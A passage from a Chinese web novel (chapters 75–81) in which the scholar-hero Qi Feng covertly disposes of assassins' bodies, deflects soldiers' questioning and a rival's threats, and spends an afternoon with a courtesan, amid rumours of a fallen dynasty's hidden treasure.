其余三名劲装人见状,齐齐扑上,却被楚清秋身形一转,银针如雨,精准刺中他们的穴位,三人动作一僵,纷纷倒地。
黑衣人喘着粗气,挣扎着站起:“楚姑娘,快走!这些人不过是先锋,后面还有高手!”
他话音未落,灰袍人强撑着爬起,眼中满是怨毒,嘶声道:“乾朝余孽,休想逃!”
他猛地从怀中掏出一枚信号弹,抛向空中,火光冲天,照亮了夜空。
楚清秋眉头一皱,知道信号弹一出,定会有更多追兵赶来。
她身形一闪,来到灰袍人身前,掌风凌厉,直接拍向他天灵盖。灰袍人避无可避,只听“咔”一声,颈骨断裂,软倒在地,气绝身亡。
其余三名劲装人见首领**,惊恐万分,挣扎着想逃,却被楚清秋银针封了死穴,纷纷瘫倒,没了声息。
黑衣人踉跄上前:“楚姑娘,速走!信号弹已发,追兵很快会到!”
楚清秋点点头,扶起黑衣人,正要离开,忽地停下脚步,目光扫向四周的林间。
“哪位高人相助,出来一见如何?”
第七十五章 暗藏玄机
齐枫隐在古树后,目光如炬,静静注视着场中的一切。
他并未回应,嘴角微微上扬。
黑衣人喘着粗气,扶着老槐树:“楚姑娘,既然这位高人不愿现身,定有他的道理。信号弹已发,追兵随时会至,速走!”
楚清秋的目光在林间扫视一圈,似在搜寻那暗中出手之人。
她眉头微皱,眼中闪过一丝复杂的情绪,最终点了点头:“好,走!”
她扶起黑衣人,身形一闪,二人如夜风般掠向林外,眨眼间便消失在黑暗中。
林间的鸟鸣渐渐平息,只余下微风拂过树梢的沙沙声。
齐枫站在古树后,待二人身影彻底消失,才缓缓走了出来。
他目光扫过地上的四具尸体,灰袍人与三名劲装人已气绝身亡,血迹在月光下泛着暗红的光泽。
他微微眯眼,蹲下身,仔细检查了一番尸体,确认无任何活口后,从怀中掏出一个精致的瓷瓶。
瓶口轻倾,一股无色无味的药粉洒出,落在尸体上。
药粉触及血肉,发出轻微的嗤嗤声,尸体以肉眼可见的速度化作飞灰,连骨头都不剩一丝痕迹。
微风吹过,飞灰散尽,地上只余下几片被血浸透的落叶,仿佛从未有过争斗。
齐枫拍了拍手,起身环顾四周,确认无人跟踪后,身形一闪,悄无声息地掠回府城。
夜色深沉,街道上灯火寥落,他如一道幽灵,很快便回到了客栈。
推开房门,齐枫脱下外袍,躺在榻上,闭目沉思。
“青禾,你究竟是谁?”齐枫喃喃一句,随后沉沉睡去。
翌日清晨,客栈内阳光透过窗棂洒入,齐枫从榻上醒来,伸了个懒腰,只觉神清气爽。
昨晚的酒意与疲惫早已散去,他的体魄远超常人,一夜好眠足以恢复精力。
房门被轻轻推开,小荷端着一盆热水走了进来,笑嘻嘻道:“少爷,您醒啦!昨儿个考完春闱,又在醉月楼喝了那么多酒,我还以为您得睡到日上三竿呢!快起来,洗把脸,精神精神!”
齐枫笑着坐起身,接过小荷递来的毛巾,擦了擦脸,目光却扫向门外,问道:“小荷,青禾呢?她昨晚也累了一天,怎么没见她?”
小荷将毛巾搭在盆边,撇了撇嘴:“青禾姐姐?她可能还在睡呢!昨晚她送您回房后就回自己屋了,我看她脸色不太好,估计是累着了。少爷,您可得对青禾姐姐好点,她为了您可是操碎了心!”
齐枫挑眉,正要调侃几句,房门再次被推开,楚清秋一袭青衣走了进来,面纱遮住了大半张脸,目光清冷如常。
她朝齐枫微微点头,声音平静:“少爷,热水已备好,请更衣。”
齐枫的目光在她身上停留片刻,敏锐地察觉到她步伐略显迟缓,气息也比平日稍显紊乱。
他不动声色,笑着起身,接过她递来的青色长袍,边穿边道:“青禾,昨晚睡得如何?瞧你这模样,像是没休息好?”
楚清秋一怔,手指微微一紧,目光扫过齐枫,试探性地问道:“少爷昨晚睡得可好?”
齐枫哈哈一笑,伸了个懒腰,洒脱道:“睡得极好!一夜无梦,可能是春闱累着了,沾床就睡到天亮,你呢?”
楚清秋闻言,目光微闪,似乎想问些什么,却终究未说出口。
她淡淡道:“多谢少爷关心,我也睡得很好。”
齐枫挑眉,目光在她身上多停留了一瞬,忽地笑道:“青禾,你气息有些紊乱,莫不是昨晚受了伤?”
楚清秋身体一僵,眼中闪过一丝警惕,声音却依旧平静:“少爷何出此言?”
齐枫笑着从怀中掏出一个小瓷瓶,抛给她:“你忘了本少爷会医术?你的气息不稳,步伐略滞,怕是内伤又复发了,这瓶药,服下后调息片刻,能助你恢复。”
楚清秋接过瓷瓶,目光复杂地看了齐枫一眼:“多谢少爷。”
她打开瓶盖,嗅了嗅药香,确认无误后,倒出一粒丹药吞下,随即盘膝坐下,闭目调息。
药力在她体内缓缓化开,
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气息渐渐平稳,脸色也恢复了几分血色。
小荷在一旁瞪大眼睛,啧啧称奇:“少爷,您这医术也太神了吧!青禾姐姐都没说自己受伤,您一眼就看出来了?”
齐枫笑着敲了敲她的头:“你家少爷的本事多了去了,哪是你们能猜透的?好了,青禾调息完,咱们去吃早饭,春闱刚过,我得好好补补!”
楚清秋睁开眼,起身朝齐枫微微一礼:“少爷,药效甚好,多谢。”
齐枫摆摆手,目光在她面纱下扫过,笑道:“谢什么?自家人在一起,互相照应是应该的。青禾,你若有事,不妨直说,本少爷还能帮你担待一二。”
楚清秋一怔,目光微动,似有千言万语,却只淡淡道:“少爷言重了,我无事。”
小荷在一旁撇嘴,嘀咕道:“青禾姐姐,你这性子也太闷了!少爷都这么说了,你就不能多说两句?!”
楚清秋瞪了她一眼:“多嘴。少爷,时候不早,咱们去用早饭吧。”
齐枫哈哈一笑,正要带着两人出门,忽听客栈外传来一阵喧闹,夹杂着马蹄声与兵刃碰撞的叮当声,像是有一大群人正朝客栈逼近。
小荷一愣,探头望向窗外,惊呼道:“少爷!不好了!外面来了好多官兵,把客栈围了!”
齐枫眉头一皱,快步走到窗边,推开窗棂朝外看去。
客栈外的街道上,数十名身着甲胄的官兵手持长矛,将客栈围得水泄不通。
为首一人身着官服,腰佩长刀,气势威严,正高声喝道:“客栈内的所有人听着!速速出来!我乃都尉李承,奉按察使大人之命,彻查乾朝余孽,胆敢藏匿者,格杀勿论!”
楚清秋闻言,面纱下的目光一寒,小荷吓得脸色发白,拽着齐枫的袖子:“少爷,这,这是怎么回事?他们怎么找到咱们这儿来了?”
齐枫目光微凝,扫过外面的官兵,他拍了拍小荷的头:“别慌,兵来将挡,本少爷心里有数。走,咱们出去看看,到底是怎么回事。”
第七十六章 官兵上门
齐枫推开房门,带着楚清秋和小荷走出客栈。
街道上,官兵们列成两排,长矛寒光闪烁,气势森严。
客栈内的其他住客也纷纷被惊动,探头探脑地张望,议论声此起彼伏。
为首的官服男子见齐枫出来,目光一凝,上前一步,拱手道:“可是齐枫齐公子?在下府衙都尉李承,奉按察使卢大人之命,彻查乾朝余孽。昨晚城郊发生命案,疑与余孽有关,请齐公子配合调查!”
齐枫挑眉,笑着拱手:“李都尉,学生不过一介书生,昨晚考完春闱,早已在客栈歇息,怎会与命案有关?”
李承目光扫过齐枫身后的楚清秋和小荷,沉声道:“例行盘问,见谅,齐公子,昨晚城郊林间,四名大内高手身亡,现场却无任何痕迹,手段诡异,疑似乾朝余孽所为。卢大人命我等彻查府城所有可疑之人,齐公子可知?”
此话一出,楚清秋黛眉微蹙,尸体都被人清理了?
齐枫不动声色,笑道:“李都尉,学生昨晚的确在客栈歇息,至于城郊命案,实在不知。卢大人若有疑问,不如亲自问我,派这么多官兵来,怕是要吓坏客栈的掌柜了。”
李承皱眉,目光在齐枫身上停留片刻,又扫向楚清秋,沉声道:“这位姑娘,昨晚可曾外出?”
楚清秋目光清冷,淡淡道:“我乃齐公子侍女,昨晚一直在客栈,未曾外出。”
小荷在一旁急得直跺脚:“就是!我们三个哪也没去!你们这些官兵,干嘛没事找事?”
李承正要再开口,忽听街角传来一阵急促的马蹄声,一名传令兵快马奔来,高声道:“李都尉!卢大人有令,命你速回府衙,另有要事!”
李承一愣,目光扫过齐枫三人,沉声道:“齐公子,今日之事,暂且记下。若有需要,还请随时配合调查。告辞!”
他一挥手,带着官兵匆匆离去,街道上的喧嚣渐渐平息。
齐枫笑道:“好了,都别一脸紧张兮兮的。走,咱们先去吃早饭,这事自有卢大人操心,咱们还是老老实实等揭榜吧。”
小荷嘟着嘴,嘀咕道:“少爷,您这心也太大了!官兵都找上门了,您还想着吃早饭?”
楚清秋目光复杂地看了齐枫一眼:“少爷,昨晚之事,你可知晓?”
齐枫挑眉,笑着反问:“青禾,你觉得我该知道什么?昨晚我睡得可香了。”
楚清秋一怔,似想追问,却终究沉默。
三人转身走回客栈,阳光洒在青石板路上,府城的喧嚣重新热闹起来。
齐枫走在前面,目光却不经意扫向楚清秋,嘴角的笑意越发深邃。
来到一家餐馆,齐枫、楚清秋和小荷围坐在一张圆桌旁,桌上摆着几碟清粥小菜,热气腾腾的包子和一壶清茶,香气扑鼻。
齐枫夹起一个包子,咬了一口,笑着对小荷道:“这包子皮薄馅多,府城的早点果然比青田县强上几分。小荷,你多吃点,别光顾着瞪眼。”
小荷正要开口,客栈门口却传来一阵急促的脚步声,伴随着一个熟悉的声音:“齐兄!可算找到你了!”
众人循声望去,只见周子陵一身锦袍,风风火火地冲进大堂,脸上带着几分焦急,额头上还挂着细密的汗珠,像是跑了半条街才到。
他一屁股坐在齐枫对面,抓起桌上的茶壶就给自己倒了杯茶,咕咚咕咚灌下去,喘着气道:“齐兄,你可真会挑地方!这客栈的早点闻着就香,我昨晚喝多了,肚子正饿着呢!”
齐枫笑着推过一盘包子:“周兄,来得正好,坐下一起吃。这包子刚出笼,趁热尝尝。看你这火急火燎的模样,莫不是又有什么大事?”
周子陵抓起一个包子,咬了一口,含糊不清道:“大事!当然是大!齐兄,你知不知道,刚才那群官兵是怎么回事?满大街的巡查,客栈酒肆全没放过,连我都被盘问了一通!”
齐枫挑眉,端起茶盏抿了一口,慢条斯理道:“知道,刚才我们这儿也被围了。府衙的李都尉,说是奉卢大人的命,彻查什么
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乾朝余孽。怎么,周兄你也被盘问了?”
周子陵撇撇嘴,放下包子,没好气道:“可不是!谁不知道我周子陵是府城周氏的少爷,诗词歌赋还行,舞刀弄枪可不擅长!那些官兵非问我昨晚去哪儿了,简直莫名其妙!我昨晚和你们在醉月楼喝到半夜,回去就睡了,哪知道什么余孽不余孽的!”
小荷在一旁忍不住插嘴,瞪大眼睛道:“周公子,你也被盘问了?那些官兵也太烦人了!我们少爷刚考完春闱,他们就来找麻烦,青禾姐姐,你说是不是?”
楚清秋淡淡道:“官兵行事,自有他们的道理。”
齐枫哈哈一笑,拍了拍桌子:“周兄,别气了。来,喝口茶,压压火。说说看,那些官兵都问了你什么?莫非你还知道点内幕?”
周子陵放下茶盏,神神秘秘地压低声音,朝四周扫了一眼,确认无人偷听,才凑近齐枫道:“齐兄,这事可不简单!昨晚城郊的事,你听说了没?京城来的四个大内高手,全**!死得干干净净,连点痕迹都没留下!这事传到卢大人那儿,圣上震怒,下了死命令缉拿凶手!”
齐枫闻言,目光微闪,脸上却不动声色,笑道:“四个大内高手?死得这么惨?周兄,这消息你从哪儿听来的?靠谱吗?”
周子陵嘿嘿一笑,端起茶盏,得意道:“齐兄,你也知道我周氏在府城有些门路。昨晚的事,卢大人亲口跟我家老爷提了一嘴,说是城郊林间发现了血迹,但尸体却无影无踪,像是被人用什么秘法化掉了!这手段,绝不是一般人能干得出来的!”
小荷瞪大眼睛,筷子都掉了,惊呼道:“化,化掉了?少爷,这也太吓人了吧!青禾姐姐,你说这乾朝余孽是不是真有这么厉害?”
齐枫挑眉,瞥了楚清秋一眼,笑着对周子陵道:“周兄,这事听着确实玄乎。四个大内高手,武艺不俗,能把他们干掉,还不留痕迹,这手段不简单。你说,卢大人那边有什么线索?莫非真跟乾朝余孽有关?”
第七十八章 好大的胆子!
小荷吓得一哆嗦,筷子掉在桌上,瞪大眼睛道:“你,你胡说!我们少爷昨晚一直在客栈睡觉,青禾姐姐也一直在!你们袁氏横行霸道,欺负人也不带这么冤枉的!”
楚清秋面纱下的目光一冷,缓缓起身,手指微动,似已暗自戒备。
她冷冷道:“袁公子,言辞谨慎些。少爷乃春闱举子,身份清白,你若无凭无据,休要在此撒野。”
袁克良目光扫向楚清秋,眼中闪过一丝忌惮,醉月楼一战,楚清秋的身手让他记忆犹新。
他冷哼道:“齐枫若真清白,随我回府衙一趟,自会还他清白。若敢抗拒,那就是心虚!”
说着,他右手一紧,刀鞘发出咔哒一声轻响,似有拔刀之意。
客栈大堂内的气氛骤然紧张,其他食客纷纷退到角落,窃窃私语,生怕被波及。
楚清秋眼中寒光一闪,身形微动,似要出手。
齐枫却轻轻抬手,按住她的肩膀,笑着摇头:“青禾,坐下。袁公子不过是奉命行事,咱们犯不着跟他动气。”
楚清秋一怔,目光复杂地看了齐枫一眼,终究缓缓坐下,但手指仍紧握衣角,随时准备应对。
齐枫站起身,折扇指向袁克良,笑容不减:“袁公子,你说本少爷心虚,可这客栈里这么多人,昨晚我一夜未出,谁能作证?李都尉刚查过我,连他都没说什么,你却非要抓我回去,莫不是卢大人给你的令,跟李都尉的不一样?”
袁克良被这话噎了一下,脸色微沉,强硬道:“齐枫,少耍嘴皮子!卢大人命我彻查所有可疑之人,你昨晚在醉月楼挑衅我,今日又在这儿装无辜,我看你就是有问题!再不配合,休怪我刀下无情!”
他话音未落,右手猛地一抽,短刀出鞘,寒光一闪,直指齐枫。
客栈内的食客惊呼出声,小荷吓得缩到楚清秋身后,颤声道:“少爷!他,他要动手了!”
周子陵怒喝道:“袁克良,你敢!这可是府城,你当街拔刀,想造-反不成?”
齐枫却不动声色,折扇轻摇,目光直视袁克良,笑道:“袁公子,刀光虽亮,可吓不住我,你若真有证据,大可拿出来,若只是借机泄愤,怕是卢大人也不会保你。”
袁克良冷笑,刀尖微微上扬,指向齐枫胸口:“齐枫,你若敢反抗,那就是自证有鬼!识相的,放下你那破扇子,跟我回府衙!否则,我这刀可不认什么春闱举子!”
楚清秋目光一寒,手指已探向袖中。
齐枫却再次按住她的手,低声道:“青禾,稍安勿躁。本少爷自有分寸。”
他转向袁克良,笑容越发从容:“袁公子,你这吓唬人的本事差了点。想让我跟你走,行,拿卢大人的手令来!”
袁克良脸色铁青,刀尖微微颤抖,显然被齐枫的从容激怒。
他身后的两名袁氏子弟交换了个眼神,齐齐踏前一步,手按刀柄,杀气腾腾。
周子陵急了,站到齐枫身前,怒道:“袁克良,你别太过分!齐兄是赵大人的门生,你在这儿动刀,信不信我立刻去府衙告你一状!”
袁克良冷哼,刀尖一转,指向周子陵:“周子陵,你少拿赵大人压我!这事是卢大人亲令,谁也别想插手!齐枫,给你最后一次机会,放下扇子,跟我走!”
齐枫折扇一合,目光微冷,正要开口,忽听客栈外传来一阵清脆的脚步声,伴随着一个清脆声音。
“袁克良,你好大的胆子!”
袁克良猛地转身,只见赵明兰一袭紫袍,气势汹汹地踏入大堂,身后还跟着两名府衙侍卫。
赵明兰一进门,柳眉倒竖,毫不客气地开骂:“袁克良,你袁氏好大的威风!当街拔刀,欺压春闱举子,你眼里还有没有王法?卢大人让你彻查余孽,你就跑到客栈来撒野,信不信我立刻禀告我大伯,让你吃不了兜着走!”
袁克良脸色一沉,刀柄在掌中攥得咯吱作响,眼中怒火熊熊,似要
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发作。
他踏前一步,刀尖微微上扬,冷声道:“赵明兰,你少拿知府压我!我是奉卢大人之命行事,齐枫此人行迹可疑,我带他回府衙问话,天经地义!你若敢阻拦莫怪我刀下无情!”
赵明兰昂首挺胸,丝毫不惧,双手叉腰,冷笑道:“袁克良,你有本事就试试!本姑娘乃知府亲眷,你敢动我一根头发,信不信姑奶奶让你袁氏吃不了兜着走?”
此言一出,大堂内的食客们窃窃私语,气氛愈发紧张。
袁克良脸色铁青,刀尖微微颤抖,显然被赵明兰的气势压住。
他虽是袁氏子弟,武艺高强,但在府城,知府的权势远非他能抗衡。
袁克良咬紧牙关,狠狠瞪了赵明兰一眼,终究未敢拔刀。
他转而看向齐枫:“齐枫,别以为有赵明兰给你撑腰,你就能逃过去!识相的,乖乖跟我回府衙,否则我迟早让你好看!”
齐枫丝毫不为所动:“袁公子,欲加之罪何患无辞?”
赵明兰踏前一步,指着袁克良道:“真是瞎了你的狗眼!口口声声卢大人,你可知卢大人看中的是谁?齐枫在画舫之上,诗才惊艳,卢大人亲口称赞,你若今日敢动他一根手指,信不信后脚卢大人就让你袁氏吃不了兜着走?”
此言一出,大堂内一片哗然。
周子陵一拍桌子,哈哈笑道:“好!赵姑娘说得好!齐兄在画舫上的风采,我可是亲眼所见,卢大人对他赞不绝口!袁克良,你还在这儿撒野,莫不是想跟卢大人对着干?”
袁克良脸色愈发难看,他身后的两名袁氏子弟交换了个眼神,似有些不安,低声道:“少爷,要不算了?知府和卢大人那边……”
袁克良狠狠瞪了二人一眼,咬牙道:“闭嘴!”
他转而看向齐枫,眼中怒火未消,恨声道:“齐枫,你别得意!今日有赵明兰护着你,算你走运!但这府城的水深得很,你最好祈祷别落在我手里!”
第七十九章 袁克良吃瘪
齐枫挑眉笑道:“袁公子,威胁的话就不必说了。本少爷行得正坐得端,随时欢迎你来查。不过,你这刀挥来挥去的,吓得我这侍女都吃不下饭了,不如先收起来,咱们好好说话?”
楚清秋坐在一旁,面纱下的目光清冷,手指却已暗自松开衣角,显然对齐枫的应对颇为放心。
袁克良被齐枫的轻描淡写气得七窍生烟,刀尖一转,似要再逼近一步。赵明兰却毫不退让,踏前一步,挡在齐枫身前。
“袁克良,你还敢嚣张?卢大人对齐枫的才华赞赏有加,揭榜之后,齐枫必是春闱翘楚!你今日若敢带他走,信不信我立刻去知府衙门,让你袁氏颜面扫地?”
袁克良呼吸一滞,狠狠瞪了齐枫一眼,似要将他的模样刻在心底。
客栈内的气氛僵持不下,食客们屏息凝神,生怕擦枪走火。
就在这剑拔**张之际,门口忽地传来一阵轻快的脚步声,伴随着一个妩媚的声音。
“哎呀呀,这是怎么回事?大清早的,怎么如此热闹?”
众人循声望去,只见南宫玥一袭白衣笑吟吟地踏入大堂。
她容貌清丽,气质出尘,手中折扇轻摇,似对眼前的对峙浑不在意。
她径直走到齐枫身旁,笑着道:“齐公子,赵姑娘,袁公子,周公子,这么热闹?莫不是我来得不是时候?”
袁克良目光一扫,眉头微皱。
他冷哼一声,收刀入鞘,沉声道:“南宫姑娘,这事与你无关!齐枫行迹可疑,我奉卢大人之命彻查!”
南宫玥掩嘴轻笑,妩媚道:“袁公子,瞧你这话说的!齐公子可是春闱才子,卢大人亲口称赞的人物,你在这儿舞刀弄枪,吓得人家这小心肝扑通扑通的!不如给个面子,大家坐下来喝杯茶,慢慢聊?”
她这话说得轻巧,硬生生给袁克良递了个台阶。
袁克良脸色青红交错,狠狠瞪了齐枫一眼,冷哼道:“齐枫,今日算你运气好!南宫姑娘既然开口,我便给你个面子。但你最好别让我抓到把柄,否则,我定让你好看!”
他一挥手,带着两名袁氏子弟转身就走。
周子陵一拍桌子,啐道:“呸!什么东西!仗着袁氏的势,跑到这儿来耀武扬威!齐兄,你别理他,这家伙就是个莽夫,迟早得栽跟头!”
小荷拍着胸口,松了口气:“吓死我了!少爷,青禾姐姐,这袁克良也太凶了!幸亏赵姑娘和南宫姑娘来了,不然他真要动手怎么办?”
楚清秋淡淡道:“小荷,莫要大惊小怪。袁克良不过虚张声势罢了。”
赵明兰哼了一声,坐下道:“齐枫,你这性子也太好了!换成我,早就一巴掌扇过去!袁克良这人,仗着袁氏横行惯了,迟早得让他吃点苦头!”
齐枫笑着摇头:“赵姑娘,多谢你仗义执言。不过袁克良这人,心高气傲,今日吃了瘪,怕是不会轻易罢休。咱们还是小心为上。”
南宫玥坐到齐枫身旁,笑吟吟道:“齐公子,你这人真是淡定!我今儿来,可不是光看热闹的,我还带了个消息。”
齐枫端起茶盏,抿了一口,笑道:“南宫姑娘,你方才说有消息,瞧你这神秘兮兮的模样,怕不是什么小事?说来听听,到底是什么让咱们府城的花魁亲自跑一趟?”
南宫玥俏皮地眨了眨眼:“什么花魁不花魁的,今日这消息,可不简单,保管你们听了得竖起耳朵!”
赵明兰哼了一声,斜靠在椅背上,撇嘴道:“南宫玥,你就别卖关子了!袁克良刚走,咱们这儿还乱着呢,你若有消息,快说,别吊人胃口!”
小荷也探出头,瞪大眼睛,急切道:“就是!南宫姐姐,你快说嘛!是不是跟那些官兵有关?还是那什么乾朝余孽又闹出什么事了?”
南宫玥见众人目光齐聚,笑意更深,压低声音道:“好,那我就不绕圈子了。你们可知,昨晚城郊那四名大内高手**之后,京城又派了人下来!这
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次来的是个真高手,听说还是圣上身边的近卫,武艺高得吓人,专为揪出乾朝余孽而来!”
此言一出,大堂内的气氛陡然一紧。
赵明兰眉头一皱,坐直了身子:“圣上身边的近卫?南宫玥,这消息可不是随便能说的,你从哪儿听来的?”
南宫玥折扇轻摇,笑吟吟道:“赵姑娘,你也知道我醉月楼消息灵通。今早有位京里来的贵客,喝多了酒,透了点口风。据说这位高手姓萧,名唤萧无痕,擅使一手飞刀,百步之内取人首级如探囊取物!圣上下了死令,让他带一队禁军,三日之内必抵府城,势要将乾朝余孽连根拔起!”
周子陵倒吸一口凉气,拍桌道:“萧无痕?这名字听着就吓人!齐兄,圣上连禁军都派来了,这事怕是要闹大!那碧玺龙佩,八成是丢不了了!”
齐枫折扇轻敲掌心笑道:“南宫姑娘,这萧无痕既是圣上近卫,手段定然不凡。乾朝余孽若真在府城,怕是躲不过这一劫。不过,这碧玺龙佩仅仅只是事关乾朝虚无缥缈的国运?就这,值得圣上如此兴师动众?”
南宫玥眼波流转,压低声音道:“碧玺龙佩可不是普通物件,传闻内藏一幅秘图,关系到乾朝当年的宝藏!女帝若是得到那宝藏,可能东山再起!”
小荷吓得一哆嗦,筷子掉在桌上,颤声道:“宝,宝藏?南宫姐姐,你是说那女帝真在府城?她还想造-反不成?”
南宫玥笑道:“萧无痕此人,来头不小,他若到了府城,定会掀起一场腥风血雨!大家可得小心些,别被这风波卷进去!”
赵明兰冷哼一声,撇嘴道:“南宫玥,你这消息听着吓人,可我看八成是醉月楼的客人吹牛!圣上身边的高手,哪会这么轻易漏了风声?齐枫,你说是不是?”
齐枫笑着摇头:“南宫姑娘的消息,向来灵通。真假暂且不论,这萧无痕若真来了府城,怕是要把咱们这池水搅得更浑,青禾,你说呢?”
第八十章 嚣张不是没理由
楚清秋目光微动:“少爷,府城如今风声鹤唳,萧无痕若至,恐非善事。咱们还是低调些为好。”
周子陵一拍桌子,豪气道:“怕什么!齐兄有才华,青禾姑娘有身手,赵姑娘有靠山,咱们还怕那什么萧无痕?南宫姑娘,你若还有消息,赶紧说!”
南宫玥掩嘴轻笑,折扇一合:“周公子,你这急性子!消息我都说了,接下来的热闹,怕是要等萧无痕到了才知道。齐兄,府城这几日不太平,你若没事,不如去我醉月楼坐坐?我新得了一幅前朝名家的字画,想请你品鉴一番!”
齐枫挑眉,目光在南宫玥脸上停留片刻,笑道:“南宫姑娘好意,我自当领情。”
赵明兰哼道:“南宫玥,你这醉月楼的花招我可清楚!齐枫,你可别被她哄了去,醉月楼的酒可不便宜!”
南宫玥咯咯一笑,抛了个媚眼:“赵姑娘,你这话可冤枉我了!齐公子是春闱才子,我请他品鉴字画,哪会让他掏银子?”
周子陵挠挠头,嘿嘿道:“齐兄,我今日忙着帮家里跑腿,怕是去不了醉月楼。南宫姑娘,你那字画留着,我改日再去看!齐兄,揭榜前你可得稳住,别让袁克良那家伙抓到把柄!”
齐枫笑着点头:“周兄放心,本少爷心里有数。你忙你的,揭榜后咱们再聚。”
周子陵拱手告辞:“那我先走了!齐兄,赵姑娘,青禾姑娘,小荷,保重!”
他起身,快步出了客栈,背影很快消失在街角。
赵明兰站起身,拍拍裙摆:“齐枫,我也要回去了。知府衙门还有事等着我,你若有麻烦,随时来找我!南宫玥,你的字画我没兴趣,但你若再听到什么消息,记得告诉我!”
南宫玥笑着点头:“赵姑娘放心,有消息我定第一个告诉你!”
赵明兰哼了一声,转身离去,留下齐枫,楚清秋,小荷与南宫玥在大堂内。
齐枫端起茶盏,目光扫向南宫玥,笑道:“南宫姑娘,时候不早,咱们这就去醉月楼?”
南宫玥眼波流转,起身道:“醉月楼的马车就在外面。”
小荷欢呼一声,跳起来拉着楚清秋的手:“青禾姐姐,走!去吃点心!”
楚清秋无奈摇头,起身随齐枫与南宫玥出了客栈。
马车早已候在门外,车夫恭敬地掀开帘子,四人登车,朝醉月楼而去。
府城的街道热闹如常,马车内,南宫玥坐在齐枫对面,笑吟吟道:“齐公子,府城这几日怕是要不太平,袁克良那莽夫又盯着你,可得小心些。”
齐枫折扇一合,笑道:“多谢南宫姑娘提醒,我自有办法应付。”
不多时。
马车停在醉月楼前,丝竹之声隐隐传来,门口的侍女见到南宫玥,齐齐行礼。
南宫玥摆摆手,带着齐枫三人进了楼。
醉月楼内香气弥漫,帷幔轻垂,雅间与大堂人声鼎沸,热闹非凡。
南宫玥吩咐侍女:“给齐公子和两位姑娘准备些点心茶水,送到香坊来!”
侍女应声而去,南宫玥领着齐枫三人穿过大堂,上了二楼的香坊。
香坊内陈设雅致,檀香袅袅,一幅古朴的字画挂在墙上,墨香犹存。
南宫玥指着字画,笑道:“齐公子,这就是我新得的前朝名家之作,你来品鉴一番?”
齐枫正要上前细看,南宫玥却忽地一个转身,娇笑一声,整个人扑进了他怀中。
她眼波流转,红唇轻启,毫无征兆地吻上了齐枫的唇。
齐枫一怔,随即勾起嘴角,眼中闪过一抹戏谑。
并未推开,双手顺势揽住南宫玥的腰肢,回应得热烈而从容。
南宫玥低吟一声,纤手攀上他的肩,衣衫在缠绵间悄然滑落,露出如玉的香肩。
齐枫目光微暗,手指轻抚她的脸颊:“南宫姑娘,这香坊的字画还没看,你倒先把本少爷给品鉴了?”
南宫玥咯咯一笑,媚眼如丝,贴在他耳边轻声道:“齐兄,字画哪有你这春闱才子有趣?今儿个我可是下了血本,这香坊可不是谁都能进的!”
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两人笑语间,衣衫尽褪,帷幔掩映下,香坊内春意盎然。
南宫玥的娇笑与齐枫的低语交织,宛如巫山云雨,缠绵悱恻,两人身影交叠。
……
半个时辰后,香坊内归于平静。
南宫玥依偎在齐枫怀中,青丝散乱,脸颊泛着淡淡的红晕。
她纤指在他胸口画着圈,懒洋洋道:“齐公子,你这人可真会让人上瘾,我想知道,你是不是早就看上我了,故意展现出如此才华,勾得我心痒痒?”
齐枫哈哈一笑,折扇不知何时又拿在手中,轻轻敲了敲她的额头。
“南宫姑娘,你这嘴可真不饶人,本少爷不过是随意展现一下才华,哪知道醉月楼的花魁这么容易动心?”
南宫玥娇嗔一声,轻轻捶了他一下:“人家只对你心动,你可别不知好歹!”
齐枫挑眉,揽着她的腰,笑道:“你看上本少爷哪点了?是诗才,还是这张脸?”
南宫玥哼了一声,翻身坐起,裹着薄毯,斜靠在软榻上,媚眼流转:“诗才自然是顶尖的,可我看中的,是你的从容,那种泰山蹦于前面不改色的从容,让我很有安全感。”
齐枫目光在她身上流连,笑道:“南宫姑娘过奖了,不过是些跳梁小丑。”
南宫玥闻言,美眸更是一阵闪烁,看着齐枫的眼神中满是崇拜。
“若是其他人敢如此大言不惭说这些话,那我必然会认为他是眼高于一点,心高气傲之辈。可你说这话却让我诞生不出这种感觉,反而觉得你说的是实话,齐公子,你说这算不算悲伤也是你的另外一种魅力?”
她这话还真没说错,不说别人,就说袁克良,袁家在这府城都是一大势力,哪怕就算是知府赵明德也不敢随便用跳梁小丑来评价,可齐枫却敢,而且还敢的让人信服。
齐枫挑眉,正要再调侃几句,忽听香坊外传来一阵急促的敲门声,伴随着小荷的声音。
“少爷!少爷!知府大人派人来了,说有要事找您!”
第八十一章 对策
齐枫轻轻拍了拍南宫玥的肩,起身整理衣袍,笑道:“南宫姑娘,今日盛情,齐某很享受,看来赵大人找我有急事,改日再来醉月楼品你的‘字画’!”
南宫玥娇媚的瞪了南宫玥一眼,起身理了理散乱的青丝,媚眼流转:“齐公子,知府大人相召,定有大事。你去吧,字画随时等着你来品。”
她又顿了顿,提醒了一句,“府城这几日不太平,齐公子可要小心。”
齐枫点点头,推开香坊的门,迎面便见小荷站在回廊上,杏眼瞪得圆圆的,脸上写满了焦急。
楚清秋站在她身旁,一袭青衣,面纱遮住了大半张脸,目光却清冷如常。
齐枫心头微动,察觉到楚清秋眼中那一抹不易察觉的复杂情绪。
他笑了笑,温声道:“青禾,小荷,赵大人既派人来,咱们便去瞧瞧。走吧。”
小荷嘟着嘴,嘀咕道:“少爷,这都下午了,您在醉月楼跟南宫姐姐腻着就是一个时辰,赵大人这时候找您,不会又是那什么乾朝余孽的事吧?”
楚清秋闻言,目光微微一沉:“小荷,莫要多嘴。少爷,咱们走吧。”
齐枫哈哈一笑,折扇轻摇,率先迈步下了醉月楼的雕花木梯。
三人出了醉月楼,赵明德派来的府衙侍卫已在门口候着,见齐枫出来,恭敬拱手:“齐公子,赵大人有请,请随我前往府衙。”
齐枫点头,带着楚清秋与小荷,随侍卫穿过喧嚣的主街,朝府衙而去。
府衙门前,卫兵持矛肃立,大石狮子在日光下透出几分庄严。
侍卫引着三人穿过前院,直入正厅。
厅内,赵明德端坐主位,桌上摆着一盏清茶,热气袅袅。
他身旁站着两名亲随,神色恭谨。
见齐枫进来,赵明德起身相迎,笑容中带着几分凝重:“齐公子,冒昧相邀,望勿见怪。”
齐枫拱手还礼,目光扫过厅内,见并无外人,便笑道:“赵大人客气了,召齐某前来,定有要事。不知有何吩咐?”
赵明德摆手示意众人坐下,楚清秋与小荷分坐一旁,小荷好奇地打量赵明德,楚清秋则垂眸不语,似在观察赵明德的神色。
赵明德抿了口茶,沉声道:“齐公子,可知昨晚城郊之事?”
齐枫不动声色,微微摇头:“昨晚?齐某考完春闱,宿醉未醒,早已在客栈歇息,城郊之事,具体实在不知,只听人随意说起两嘴,大人何出此言?”
